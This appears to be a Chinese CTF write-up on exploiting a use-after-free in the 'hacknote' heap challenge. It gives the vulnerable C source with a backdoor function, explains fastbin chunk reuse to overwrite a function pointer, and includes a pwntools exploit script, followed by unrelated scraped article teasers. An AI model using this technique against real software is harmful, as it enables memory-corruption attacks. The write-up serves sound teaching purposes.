Use After Free (hacknote为例)

2023/6/5 22:18:37

 源码: 
之所以放源码是因为我发现我的高版本Ubuntu调试总会出现问题,所以大家可以自己用gcc编译一下。

gcc hacknote.c -no-pie -o hacknote (自己编译下,关掉pie会更好)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

这题的思路无非就是利用了free掉堆块后,对应指向该堆块的指针没有置空,仍然指向这一块内存,因此我们仍然可以使用这个指针去做某些事情,例如在这里的print_note函数,我们仍然可以利用未置空的指针去输出对应的内容,这也是一个造成内存泄露的点。虽然可能不能直接造成拿到shell,但如果有后门或者里面存着重要数据,这也会造成很大的威力

在这里是存在一个后门函数的,就是magic函数,刚好就是system("cat falg"),这也非常明显了,我们就是要通过某种途径,让程序执行这个后门函数。

讲讲这题的利用思路

首先讲下add_note这里究竟做了什么。观察note的结构体结构

struct note {
  void (*printnote)();
  char *content;
};
这里note结构体存着一个函数指针,然后申请一个0x10大小的空间(64位下16个字节,也就是结构体的大小),其中note->printnote=print_note_content,存着这个函数。那本题我们要做的,就是修改note->printnote,让它去等于我们的magic函数,从而拿到flag

开始: 

开始首先连续调用两次add_note函数,创建的size要大于fastbin的大小,我这里是选了0x80,刚好就是unsortedbin的大小的临界(别进fastbin就行,或者说别是0x10)。

那为什么不只创建一个呢,偏要创建两个,不创建3个,4个甚至更多??? 

原因是这样的,我们的目标是为了控制 listnode 这个结构体数组的随便一个里面的void (*printnote)的指向,我们需要把这个指向修改成我们的magic(后门函数),这里我们选用了listnote[0]的。

想要控制listnode[0]的这块内存,我们该咋办呢 

这里我们利用了fastbin的特性,是这样的,当我们malloc一个堆块的时候,如果是在fastbin大小范围内,程序会去遍历fastbin(结构上和栈很像,先进后出),一旦找到对应大小的堆块,就会立即从fastbin里拿出来给你。

在这个程序中,每次调用add_note函数的时候,程序都会先申请一个0x10大小的堆块,再delete_note这个函数中,也会把这个0x10的堆块连同size大小(用户输入的大小)的堆块一起free掉。

重点来了 :如果此时我们再申请一块0x10大小的堆块,系统会从fastbin取下来给你

也就是把listnote[0]这块内存给你,而你有写的权力,你要做的,就是把这个结构体函数指针指向后门函数,也就是listnote->printnote=magic  ,还记得我们之前说的没把free掉堆块对应的指针置空吗?这时候麻烦大了,我们仍然可以使用这块内存,当我们调用print_note的时候,我们传入一开始的第一个堆块的指针(虽然已经被free掉了,但是指针仍然指向这个内存),就会去调用magic函数,这样就获得到了flag!!!

下面是exp:

from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./test')
io=process("./test")

gdb.attach(io)



from LibcSearcher import *

io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'128')
io.recv()
io.send(b'aaaaaaaa')



io.recvuntil(b'r choice :')
io.send(b'2')
io.recv()
io.send(b'0')

system_catflag=0x40167A
io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'16')
io.recv()
payload=p64(system_catflag)
io.send(payload)
print("发送成功!!!")

pause()

io.recvuntil(b'r choice :')
io.send(b'3')
io.recv()
io.send(b'0')

io.interactive()

 

 


http://www.jnnr.cn/a/369148.html

相关文章

思维导图软件XMind 2021/2022 for win/Mac安装步骤

XMind2021是一款流行的思维导图软件&#xff0c;它可以让用户创建各种各样的思维导图&#xff0c;包括组织图、流程图、树形图、鱼骨图、思维脑图等。 XMind2021适用于学生、教师、企业和个人等不同领域的用户。它可以帮助用户更好地组织和表达思维&#xff0c;提高工作和学习…

Attention的两种实现方法

构建 LSTM Attention 网络时&#xff0c;有两种Attention的实现方法&#xff0c;attention_1 使用的是原文的公式实现&#xff0c;如下&#xff1a; def attention_1(x): # x:[batch, seq_len, hidden_dim * 2] 2:双向lstm"""根据 attention 定义实现param x…

小驰私房菜_13_mm-camera 必知必会02

本篇文件分下面几点内容展开: 1) ISO值修改 2) sensor mode 3) 曝光 4) 关闭ltm 5) sensor num frame skip 6) anti banding/flicker 7) exposureTime 8) ace start index 9) flicker 一、ISO值修改 chromatix_XXX_zsl_preview.h XXX_lib.h android.sensor.info.sensi…

使用 WeightedRandomSampler 解决数据样本不均衡的问题

问题描述 数据集样本不均衡。 例如&#xff0c;一个二分类任务&#xff0c;标签为 0 的数据占了 90%&#xff0c;标签为 1 的数据却只占 10%&#xff0c;用全部原始数据训练模型很可能导致模型带有一定的 ”偏见“&#xff0c;也可能会导致模型训练效率很慢。 使用 Weighted…

架构整洁之道-22章-整洁架构

按照更好架构设计出的系统特点&#xff1a; 独立于框架可被测试独立于UI独立于数据库独立于任何外部机构 外层的变化不影响内层的逻辑 外层变化同时修改对应适配器么 层次划分-按需划分并非固定多少层 图22.1中所显示的同心圆只是为了说明架构的结构&#xff0c;真正的架构很可…

浅谈ChatGPT取代前端开发工程师

1.ChatGPT 是什么? ChatGPT 是一种基于深度学习的自然语言处理技术&#xff0c;它可以生成高质量的自然语言文本。该技术是由 OpenAI 团队 开发&#xff0c;旨在使计算机能够像人类一样理解和产生自然语言。ChatGPT 使用了深度神经网络和自然语言处理技术&#xff0c;通 过对大…

2.11 循环赛日程表

博主简介&#xff1a;一个爱打游戏的计算机专业学生博主主页&#xff1a; 夏驰和徐策所属专栏&#xff1a;算法设计与分析 目录 书本内容&#xff1a; 我的理解&#xff1a; 更优化的算法&#xff1a; 总结 1.注意实现问题 2.当用C语言和C实现循环赛日程表算法时&#xff…

java操作RabbitMQ

原生java操作RabbitMQ 导入jar依赖 <dependency><groupId>com.rabbitmq</groupId><artifactId>amqp-client</artifactId><version>5.14.2</version></dependency>代码结构 工具类MQUtil.java package com.example;import com…

Arduino Uno开发板+电机驱动扩展版CNC Shield V3.0硬件说明

陈拓 2023/03/24-2023/03/29 1. Arduino CNC Shield V3.00电机驱动扩展版 注意&#xff1a;板子左侧中间的玻璃管是玻封保险丝。 Arduino CNC Shield可以搭载A4988、DRV8825等步进电机驱动模块&#xff0c;用于驱动NEMA17电机&#xff08;俗称42步进电机&#xff09;。 2. 常…

即时通讯-N-如何保证消息的可靠性展示

结论先行 客户端如何在推拉结合的模式下保证消息的可靠性展示&#xff1f; 原则&#xff1a; server拉取的消息一定是连续的原则&#xff1a; 端侧记录的消息的连续段有两个作用&#xff1a; 1. 记录消息的连续性&#xff0c; 即起始中间没有断层&#xff0c; 2. 消息连续&am…

6、网络编程——非阻塞

一、socket的四种IO模型 1、阻塞型 最常用/最简单/效率低 函数本身不具备阻塞属性&#xff0c;而是由于文件描述符本身导致函数阻塞。 在默认情况下Linux建立的socket套接都是阻塞的 2、非阻塞 可以设置进程不阻塞在IO操作上&#xff0c;需要轮询 占用CPU资源较大 3、多路复用…

第二节:Git基本操作(关键词:git add、commit、diff、reset、checkout、rm、mv)

文章目录一&#xff1a;Git基本工作流程二&#xff1a;Git基本操作&#xff08;1&#xff09;git init&#xff08;2&#xff09;git add&#xff08;3&#xff09;git commit&#xff08;4&#xff09;git diff&#xff08;5&#xff09;git resetA&#xff1a;概述B&#xff…

IDEA中如何进行debug

平时工作DeBug是常规操作, 但对里面有的按钮不了解, 整理一下全部DeBug的知识点: 文章目录1、DeBug开篇2、断点2.1 认识断点2.2 断点的状态2.3 断点的一些相关设置3、调试按钮和功能键3.1 调试按钮3.2 功能按键4、变量查看5、计算表达式6、智能步入8、回退断点1、DeBug开篇 DeB…

JVM 运行时数据区概述及线程

当我们通过前面的&#xff1a;类的加载 --> 验证 --> 准备 --> 解析 --> 初始化&#xff0c;这几个阶段完成后&#xff0c;就会用到执行引擎对我们的类进行使用&#xff0c;同时执行引擎将会使用到我们运行时数据区。 运行时数据区结构 内存概念&#xff1a; 内存…

MONGODB mongodb 一般人不知道的数据类型与使用

开头还是介绍一下群&#xff0c;如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请联系 liuaustin3 &#xff0c;在新加的朋友会分到2群&#xff08;共…

【C语言】实现动态版通讯录

&#x1f48c;内容专栏&#xff1a;【C语言】进阶部分 &#x1f48c;本文概括&#xff1a; 结合自定义类型、动态内存管理知识&#xff0c;对静态版本的通讯录进行优化。 &#x1f48c;本文作者&#xff1a;花 碟 &#x1f48c;发布时间&#xff1a;2023.4.2 目录 前言&#x…

lwip中线程优先级的分配原则

lwip的线程 lwIP是一个嵌入式TCP/IP协议栈&#xff0c;它主要包含以下几个线程&#xff1a; 主线程&#xff08;Main Thread&#xff09;&#xff1a;它是lwIP的主线程&#xff0c;用于初始化lwIP协议栈和各种网络接口&#xff0c;并提供处理网络事件的主循环。主线程的优先级…

PHP+SQL考勤系统安全性的设计与实现

第一章 概 述 1.1 PHP的概念 PHP: Hypertext Preprocessor (超文本预处理器) 的缩写&#xff0c;它是一种服务器端的 HTML 脚本/编程语言,是一种简单的、面向对象的、解释型的、健壮的、安全的、性能非常之高的、独立于架构的、可移植的、动态的脚本语言 PHP是一种功能强大…

docker安装以及springboot项目打包运行

我们都知道docker是一个非常好用的虚拟化容器&#xff0c;所谓虚拟化容器其实就是说可以将各个应用都隔离开来&#xff0c;每个应用都可以有自己的独立的运行时环境&#xff0c;这对于我们程序开发是非常有好处的&#xff0c;可以不需要去配置环境&#xff0c;每个组件都有独立…

FPGA 20个例程篇:20.USB2.0/RS232/LAN控制并行DAC输出任意频率正弦波、梯形波、三角波、方波(三)

如图1所示是USB2.0/RS232/ETH控制并行DAC输出任意频率正弦波、梯形波、三角波、方波的整体设计示意图&#xff0c;可以看到上位机通过RS232串口、ETH千兆网口以及USB2.0接口和FPGA建立通信&#xff0c;通过不同的接口发送报文&#xff0c;FPGA在指令解析模块中把相关设置和参数…